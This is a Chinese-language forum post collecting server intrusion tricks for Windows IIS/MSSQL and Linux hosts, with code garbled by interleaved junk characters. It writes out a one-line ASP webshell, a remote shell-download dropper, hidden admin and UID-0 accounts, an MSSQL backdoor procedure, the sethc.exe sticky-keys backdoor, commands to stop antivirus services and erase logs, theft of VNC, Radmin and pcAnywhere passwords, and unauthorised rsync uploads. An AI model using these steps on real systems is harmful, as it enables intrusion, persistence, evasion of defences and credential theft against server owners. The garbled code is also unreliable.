渗透技巧总结

admin

旁站路径问题
1、读网站配置。
2、用以下VBS
On Error Resume Next
If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
        

Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "

7 {2 C, f1 X& y2 ]Usage:Cscript vWeb.vbs",4096,"Lilo"
        WScript.Quit
2 x* j8 F) r2 p! _2 I8 [End If
Set ObjService=GetObject
: f/ h8 Q; T0 y7 L& h$ A
6 S4 q& n; O8 k4 S& i1 I7 \("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
        If IsNumeric(obj3w.Name)

Then
2 I/ L7 Z) \' I- Z                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
         
6 o% e. S! {+ z! {9 T" m
3 v  V/ q% W/ n7 m( L; {2 c; {' q5 J       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
; x. G3 b' {& o& {; h                If Err

  B* _- u0 F% p3 t9 j' S  ], G<> 0 Then WScript.Quit (1)
                WScript.Echo Chr(10) & "[" &
+ B, l( k! p" A2 `
OService.ServerComment & "]"
                For Each Binds In OService.ServerBindings
     

                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
% p/ l! ^8 p# [                        

. i$ V1 A0 ~3 H/ @* U" u$ eWScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
& ~6 A% V, H; `3 R& @+ @                Next
% y: F; Z( L# q, ]) Y; k/ |      
7 b4 I" R9 _) U) Q# [
         WScript.Echo "ath            : " & VDirObj.Path
( v' L/ ?9 A6 Z0 C" `: U; D1 R        End If
0 T4 ?0 [) b/ K/ ]- t; P$ MNext
6 a; J$ r+ c+ J" e! |8 Y5 h复制代码
3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
—————————————————————
WordPress的平台，爆绝对路径的方法是：
url/wp-content/plugins/akismet/akismet.php
  q) {0 j  P! o/ [" l& Burl/wp-content/plugins/akismet/hello.php
——————————————————————
phpMyAdmin暴路径办法:
6 c. j6 A, I8 y! ?  ^  fphpMyAdmin/libraries/select_lang.lib.php
- ^4 l: z: @4 g% @; F7 LphpMyAdmin/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
phpmyadmin/themes/darkblue_orange/layout.inc.php
3 c* M+ I. m: g9 w————————————————————
! n6 U4 Z* \. ^  j2 L* {网站可能目录(注：一般是虚拟主机类）
data/htdocs.网站/网站/
! f) f" H1 }" F* B- y  o0 v# |————————————————————
& e* R/ m/ M+ d6 K) B0 KCMD下操作VPN相关
netsh ras set user administrator permit #允许administrator拨入该VPN
1 G; z! j% |( }3 Gnetsh ras set user administrator deny #禁止administrator拨入该VPN
3 m: q3 G* k0 g9 Ynetsh ras show user #查看哪些用户可以拨入VPN
netsh ras ip show config #查看VPN分配IP的方式
. q1 Y: w) n/ }4 Xnetsh ras ip set addrassign method = pool #使用地址池的方式分配IP
netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
1 l; ?' [* q/ p) E————————————————————
; z. L+ T- `+ C# h命令行下添加SQL用户的方法
需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
( S% q% Q6 g$ c0 p3 jexec master.dbo.sp_addlogin test,123
EXEC sp_addsrvrolemember 'test, 'sysadmin'
9 x& D) g: @  U然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry
& p, I7 P2 u. K6 L/ G1 n$ q
另类的加用户方法
在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
js:
6 z) ^  t+ h" g$ j8 ~var o=new ActiveXObject( "Shell.Users" );
6 w7 O9 ~1 y4 az=o.create("test") ;
2 R$ r0 Z. F6 E" M# Yz.changePassword("123456","")
6 A3 l0 W: c; O6 ], i) mz.setting("AccountType")=3;

9 G. N1 g$ ]0 t$ tvbs:
Set   o=CreateObject( "Shell.Users" )
+ G8 N& f, B7 \/ z) c$ m6 OSet z=o.create("test")
5 ]- y: b! g  M. ]& c/ D1 Hz.changePassword "123456",""
# b; W/ v7 V' n; c9 Wz.setting("AccountType")=3
——————————————————
cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）

& |, M. ^6 d5 I1 C命令如下
cacls c: /e /t /g everyone:F           #c盘everyone权限
. f. Y$ B" j+ }2 Ycacls "目录" /d everyone               #everyone不可读，包括admin
————————以下配合PR更好————
3389相关
a、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
4 T+ S9 E9 d/ X1 h8 X$ ~b、内网环境（LCX）
c、终端服务器超出了最大允许连接
4 @) T1 z& H) @, o8 b) CXP 运行mstsc /admin
2003 运行mstsc /console   

杀软关闭（把杀软所在的文件的所有权限去掉）
; l" |; ]! |5 s; }4 U" Y处理变态诺顿企业版：
; @# k* P! P: T9 C, Ynet stop "Symantec AntiVirus" /y
* L2 g/ E5 z, S# r7 Lnet stop "Symantec AntiVirus Definition Watcher" /y
net stop "Symantec Event Manager" /y
net stop "System Event Notification" /y
7 H. r* Q4 v3 v8 ^* nnet stop "Symantec Settings Manager" /y

卖咖啡：net stop "McAfee McShield"
; c/ h% y: }$ k- H————————————————————
3 X7 u& D8 M3 i% \! j$ M8 b* g2 h
5次SHIFT：
3 |1 l  `! Z: I( L& T2 {$ `: x; icopy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
, b# E8 d3 |& c9 v7 ccopy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
( f! m8 O) n' O3 Pcopy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
" O4 l' \: o( f5 b# @/ U" V——————————————————————
隐藏账号添加：
+ u4 Y, a  U+ D6 T; D/ B0 ~' _1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
2、导出注册表SAM下用户的两个键值
' C2 _  v# S8 {0 R3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
4、利用Hacker Defender把相关用户注册表隐藏
——————————————————————
MSSQL扩展后门：
! t* ~- w0 {( m9 k, O- f4 }USE master;
4 ?5 z5 u- f2 a) q1 B2 bEXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
GRANT exec On xp_helpsystem TO public;
3 u# D$ ~1 L: ^———————————————————————
日志处理
) k1 S9 [6 `6 e) O$ D" FC:\WINNT\system32\LogFiles\MSFTPSVC1>下有
ex011120.log / ex011121.log / ex011124.log三个文件，
直接删除 ex0111124.log
; y1 a# b7 a; ^) y5 C8 s2 I/ D不成功，“原文件...正在使用”
7 d& T. q7 p& ~. r/ L# J& ^1 _当然可以直接删除ex011120.log / ex011121.log
用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
当停止msftpsvc服务后可直接删除ex011124.log
2 f# L6 p  p! p9 V
5 T- T) c+ ~4 h/ m6 iMSSQL查询分析器连接记录清除：
MSSQL 2000位于注册表如下：
HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
找到接接过的信息删除。
MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL

8 |6 P8 E+ ~$ m; g2 IServer\90\Tools\Shell\mru.dat
3 H0 R3 ~0 `# j; J—————————————————————————
& A& B2 R0 l; {/ _6 ~. U5 a7 [防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）

<%
9 N2 p& L# d/ K% p( {Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
Dim Ads, Retrieval, GetRemoteData
  m: D  _/ c+ S8 X/ L* lOn Error Resume Next
4 ?+ s' L  x' l/ cSet Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
& t4 \. A4 h: j% uWith Retrieval
/ d( l& {2 Y$ j1 k.Open "Get", s_RemoteFileUrl, False, "", ""
7 E- o' _# o. [, y  }5 N.Send
, V( W  h$ p1 N6 W% g, ~  X8 B8 eGetRemoteData = .ResponseBody
End With
. a! b& M  x( C' r8 S$ ]4 DSet Retrieval = Nothing
: B( N+ L6 L0 v) [/ p# g% N" o9 uSet Ads = Server.CreateObject("Adodb.Stream")
) t& C+ [& i$ @3 i8 F5 b' D& dWith Ads
.Type = 1
.Open
* T; B$ o0 S# V& A.Write GetRemoteData
.SaveToFile Server.MapPath(s_LocalFileName), 2
% G& k1 f& k9 H- I. W8 G.Cancel()
.Close()
% g' I$ ~3 N, [. b' R0 y: {End With
3 n5 l- s% R+ xSet Ads=nothing
. _  G1 c# ]: W( T0 `) S, YEnd Sub

eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
%>

VNC提权方法:
8 B. k; U$ z  j0 L' s: r: {6 o; U( V利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
" m$ ]. ?/ C- e; H+ q6 r% c1 v注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
) @6 ^  [) t9 G3 k! F9 ]) Hregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
+ j. v9 V" F! ?& N1 I2 W2 ^Radmin 默认端口是4899，
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
* W/ g+ {& z4 X* GHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
然后用HASH版连接。
! C( G* u/ C# ~; K/ ^; H如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
1 P2 H, U& ]3 C. i0 T, ZUsers\Application Data\Symantec\pcAnywhere\文件夹下。
0 \0 h: _6 B% g5 w——————————————————————
搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
: L2 b8 A7 s! `——————————————————----------
WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
6 y. X7 g+ _3 G; V+ Y$ c: J来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
3 u- Y: E. e9 k, _6 S5 B8 Q0 [. V没有删cmd组建的直接加用户。
( A) B8 D& z; R/ }8 [, C7i24的web目录也是可写，权限为administrator。

1433 SA点构建注入点。
$ p- L/ l9 _7 H* _8 I# n# Y<%
strSQLServerName = "服务器ip"
strSQLDBUserName = "数据库帐号"
2 n; Z/ l% o4 A- u: ~  C+ F2 AstrSQLDBPassword = "数据库密码"
strSQLDBName = "数据库名称"
Set conn = Server.createObject("ADODB.Connection")
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &

";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &
# G& G: V& N' w4 Y: z7 l9 K
strSQLDBName & ";"
% `% h6 s$ \4 s! Oconn.open strCon
dim rs,strSQL,id
set rs=server.createobject("ADODB.recordset")
. _4 T" L6 N# Y# T) k3 o7 ]id = request("id")
5 L/ R- g. h! A1 HstrSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
%>
复制代码
******liunx 相关******
! }, V" h5 t  x# R! w( L3 ~! c- {: ~( l+ k一.ldap渗透技巧
1.cat /etc/nsswitch
, K' [/ W) g& i3 m% a' O# N9 N$ {看看密码登录策略我们可以看到使用了file ldap模式
) r- D! X3 F/ N# z
+ q  K( u/ l1 @- y# |/ y0 E" A2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
: N' L' E, n( k" ?1 R: Q找到ou,dc,dc设置

3 \. H: M- g1 k; u+ b3.查找管理员信息
匿名方式
- ]1 c: p4 M- S) ?6 vldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
; i  L. ]  P# H
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
& K9 ]; L+ ~- `! y

4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

" y& l7 Z' H" X! a8 z实战:
5 S- b7 t9 C' B1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式
- J  B) E5 X. J8 e
; I+ `+ y4 ^! G, X  d2.less /etc/ldap.conf
7 p$ f2 ]: h8 c  z5 i9 Kbase ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置
, i2 Y1 P0 P2 y6 h' X# B7 \: O
3.查找管理员信息
匿名方式
6 c% N& V" h, Y) xldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
7 `. z8 T: A2 j; @% I0 V' u有密码形式
% M" f5 a! _. z# M& |8 ~, Sldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
6 A- ^3 ]3 p; G' c
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
3 \- f/ s8 h9 L( e/ l

4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

; {0 w+ {3 E. z  T渗透实战:
8 d) ~. _- a8 I+ e) }1.返回所有的属性
) Q% ]; b6 R0 E( v' j% \8 p8 qldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
+ f) ^' y- \) t9 Vversion: 1
2 o( y$ r6 ~6 K' L$ V/ }dn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain

dn: uid=manager,dc=ruc,dc=edu,dc=cn
uid: manager
& P# a6 C3 C; [2 l) W3 Y3 Y& X6 OobjectClass: inetOrgPerson
% u% N' n- K' W6 t& z: T" `objectClass: organizationalPerson
objectClass: person
- S  v6 V( m& c6 A% b4 t/ |# o- WobjectClass: top
. P( `4 E; I' gsn: manager
cn: manager
1 I8 p+ _  B0 e+ B! w- v# R& o/ V! v
6 d6 ]# S% H  I6 O- f4 C( a% xdn: uid=superadmin,dc=ruc,dc=edu,dc=cn
uid: superadmin
* D* t6 f; ?' X+ ]objectClass: inetOrgPerson
& L4 ?7 f* t- NobjectClass: organizationalPerson
1 C% o" u8 E' OobjectClass: person
& S1 j8 X5 G/ A( m, Q9 HobjectClass: top
: w0 r& s2 }# Asn: superadmin
( \5 n+ E+ Z: w; acn: superadmin
5 z! ^; k0 E/ W6 V  y6 d8 r3 c
dn: uid=admin,dc=ruc,dc=edu,dc=cn
uid: admin
objectClass: inetOrgPerson
objectClass: organizationalPerson
- G- J; Y! C& _0 yobjectClass: person
2 _. t: ~1 u5 J7 S( ^objectClass: top
sn: admin
cn: admin
, r$ x) B: K. }/ A8 ~% h/ \
- E1 }' N' M- o& W4 @$ Jdn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
uid: dcp_anonymous
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
sn: dcp_anonymous
cn: dcp_anonymous
5 T( x+ h( |! r. R
& c1 g" _, Z  p! |2.查看基类
1 ^) }" P0 _; }) c2 o' w7 F# p0 Kbash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |
- F2 J, O! c7 Q  R& }0 K. b, U; k
more
3 K4 L" x7 t7 t4 x$ Oversion: 1
' p3 Q; m0 _$ P  a* o; p4 e. Kdn: dc=ruc,dc=edu,dc=cn
0 y: {" y: z; K& fdc: ruc
objectClass: domain
: K6 B- x. f4 r0 t" t
3.查找
' @7 |. U3 h" P  C4 F# ?/ ]bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
: G  Q% \2 B: l4 v+ kversion: 1
dn:
; }: V/ _2 F% B# t1 J6 |objectClass: top
2 p3 I6 O1 d( t' D' d  q: ^- Z. InamingContexts: dc=ruc,dc=edu,dc=cn
supportedExtension: 2.16.840.1.113730.3.5.7
" [' V; d6 O( u/ B! Y) ~2 MsupportedExtension: 2.16.840.1.113730.3.5.8
supportedExtension: 1.3.6.1.4.1.4203.1.11.1
/ |2 y% C; `+ p$ {  v7 J1 R" `supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
( C6 ]0 I3 B2 T9 n$ L; W- MsupportedExtension: 2.16.840.1.113730.3.5.3
' G" B' e+ ]9 f2 l$ r4 fsupportedExtension: 2.16.840.1.113730.3.5.5
4 M) B  ?* b, j0 Q* B0 j5 }supportedExtension: 2.16.840.1.113730.3.5.6
supportedExtension: 2.16.840.1.113730.3.5.4
9 W/ m; Z5 e" FsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
+ p* D% k! @, z4 WsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
6 z9 f2 v! B2 ~4 n& q6 x# _! PsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
/ S; n# R9 K7 E' m6 D( h9 z  ^9 m0 HsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
" C+ `7 `, i0 WsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
- S2 i5 n( g$ {supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
# `/ C/ m1 ?6 d4 f& _supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
) t2 `  s- v: W/ \8 x1 t, Y3 @supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
' Y2 ]' ]0 t% Z3 ]' ~( VsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
2 |/ r% a1 a# C, y/ {* P; I( OsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
7 B4 H% W0 `/ T) k- c+ TsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
" ]- _4 [5 M  A/ \9 w2 WsupportedExtension: 1.3.6.1.4.1.1466.20037
supportedExtension: 1.3.6.1.4.1.4203.1.11.3
0 k8 q4 l1 h# _supportedControl: 2.16.840.1.113730.3.4.2
8 y8 b- _7 E4 nsupportedControl: 2.16.840.1.113730.3.4.3
supportedControl: 2.16.840.1.113730.3.4.4
$ b, a4 s4 O8 f9 S0 G1 ~supportedControl: 2.16.840.1.113730.3.4.5
supportedControl: 1.2.840.113556.1.4.473
supportedControl: 2.16.840.1.113730.3.4.9
8 V2 ~7 o; P' M+ NsupportedControl: 2.16.840.1.113730.3.4.16
: G, u3 V  Y* b! y! P1 R$ SsupportedControl: 2.16.840.1.113730.3.4.15
; G$ j3 q2 j( r! q! L1 a* C4 M" nsupportedControl: 2.16.840.1.113730.3.4.17
supportedControl: 2.16.840.1.113730.3.4.19
2 U+ ]) J8 T& ^0 u, _supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
& z, c4 b5 i7 msupportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
% [& o$ E' J9 o. A6 o$ zsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
8 ~! n1 ?: w0 E- q/ N. K/ ?supportedControl: 2.16.840.1.113730.3.4.14
supportedControl: 1.3.6.1.4.1.1466.29539.12
supportedControl: 2.16.840.1.113730.3.4.12
supportedControl: 2.16.840.1.113730.3.4.18
supportedControl: 2.16.840.1.113730.3.4.13
supportedSASLMechanisms: EXTERNAL
3 u7 m3 d7 d5 ssupportedSASLMechanisms: DIGEST-MD5
7 e2 q/ E4 D3 i- QsupportedLDAPVersion: 2
1 ~  |6 l( o4 i; v+ ?supportedLDAPVersion: 3
vendorName: Sun Microsystems, Inc.
vendorVersion: Sun-Java(tm)-System-Directory/6.2
4 c3 ?4 `* ~) G) |. Xdataversion: 020090516011411
, D0 ?# O& L. k' D" Fnetscapemdsuffix: cn=ldap://dc=webA:389
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
7 y! j/ R, Q4 w* n! t3 @supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
3 A0 G- v3 D- H7 WsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
) d8 g! ?3 M# wsupportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
9 c1 c! k, i) o4 F8 [7 Q' j* |supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
% _. h% r  [/ S2 esupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
& `- t: K( a; d2 vsupportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
4 p, d; g$ y! p, X" w- r7 n: CsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
! c0 w# Z% e. B2 ^* t9 l. @supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
; @# Y- z1 f9 c! M; J/ OsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
  P# z# z" O6 ~/ f( T- q  I+ y* FsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
) K, x8 Z1 p4 L& i+ @7 N0 qsupportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
; U7 N0 ?2 s6 _$ O5 FsupportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
9 w, p' H) A5 }5 Z) @supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
1 c, {8 _% Z" r; t. tsupportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
" m/ i% R, R0 _: C0 E- K7 WsupportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
, K8 z! g8 z, fsupportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
% ?3 _9 X# t( x. }+ x/ o8 qsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
: P! B' G# s! O; @/ n  IsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
4 w7 V8 K, |' }6 P' j5 h, [* usupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
; U  J# A1 [/ g1 v6 h) E8 YsupportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
, H9 G' ]7 f+ p7 o% CsupportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
- @) u  |" u( xsupportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
6 |$ p9 a: Q: d) I( }0 XsupportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
$ |( s/ Y7 u7 _supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
————————————
2. NFS渗透技巧
% ]3 z: P/ |  g( E$ Ushowmount -e ip
( [* j1 m- G; U: ?% h列举IP
——————
& |' R% a+ h! r3 l3.rsync渗透技巧
1.查看rsync服务器上的列表
rsync 210.51.X.X::
finance
0 J: e+ x# t+ P" Y' fimg_finance
auto
img_auto
$ w- h& E" }4 j' W8 L! K! chtml_cms
- X1 W1 h; F% T! t* z8 R5 simg_cms
ent_cms
ent_img
# P! o/ B9 F  f2 p. q. eceshi
res_img
+ c0 y" u5 M8 k. g2 w1 r) Eres_img_c2
9 n4 N1 Z$ m; x' r1 K# ?$ mchip
chip_c2
# g' T1 x6 Y4 z) @ent_icms
) q) X& ^5 |7 I" R' sgames
gamesimg
6 L+ x$ T6 C% R3 s; umedia
mediaimg
fashion
res-fashion
res-fo
9 B) V2 d7 y3 I7 ^4 Y1 k# Ytaobao-home
res-taobao-home
house
res-house
3 _/ I) f  X  M0 S* w/ ]5 |4 Yres-home
res-edu
. b7 j: s6 X3 @, jres-ent
res-labs
res-news
% X  I' ], Y# V" H  Bres-phtv
res-media
, u! [) I0 @, ]# i4 J! dhome
( l+ [' W, x0 A# k; {' cedu
news
, H2 k9 y# E2 y. Z. _res-book

; z( {- \" J1 Z. M9 t( z看相应的下级目录(注意一定要在目录后面添加上/)


rsync 210.51.X.X::htdocs_app/
) b5 i) y$ I, k% d; \8 }rsync 210.51.X.X::auto/
rsync 210.51.X.X::edu/
3 W. _* a3 O) U& B' ~
6 a4 ~6 A+ z& G" Z  @8 i8 {2.下载rsync服务器上的配置文件
rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/
2 N9 l$ l( D5 ]( k; D
( w& W. n1 X! n3.向上更新rsync文件(成功上传,不会覆盖)
rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
9 q) l, b4 D  O. ?$ ?: Ehttp://app.finance.xxx.com/warn/nothack.txt

. `6 k) v; Y: X) l- X四.squid渗透技巧
4 x: J6 \8 s5 @nc -vv baidu.com 80
2 {; E. @+ T+ l: ?+ oGET HTTP://www.sina.com / HTTP/1.0
GET HTTP://WWW.sina.com:22 / HTTP/1.0
1 [. Y* ~$ ^/ s% }五.SSH端口转发
7 g) p2 z- o, Wssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
% n; T- ~, `. J( r
" F6 ?8 j0 B- Z2 _六.joomla渗透小技巧
确定版本
index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-

15&catid=32:languages&Itemid=47
* w. J2 {) `, Y) j* z1 u; @
重新设置密码
" ]3 a- d5 w" U/ Vindex.php?option=com_user&view=reset&layout=confirm
5 z( b3 l9 O4 I4 A
七: Linux添加UID为0的root用户
useradd -o -u 0 nothack

: R! j4 Z: N# ^八.freebsd本地提权
" ?; }. A' o# k" _2 K) R[argp@julius ~]$ uname -rsi
* freebsd 7.3-RELEASE GENERIC
, A0 O6 f0 X0 f, ~& W0 o8 a* [argp@julius ~]$ sysctl vfs.usermount
* vfs.usermount: 1
, ?8 i6 b* @2 F. T8 z* [argp@julius ~]$ id
1 J/ s* J* _, R, S' p0 p, [% ^$ ~* uid=1001(argp) gid=1001(argp) groups=1001(argp)
) V- O3 L6 W! T9 r* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
* [argp@julius ~]$ ./nfs_mount_ex
*
calling nmount()
) t7 [9 [* r! w; a
（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
——————————————
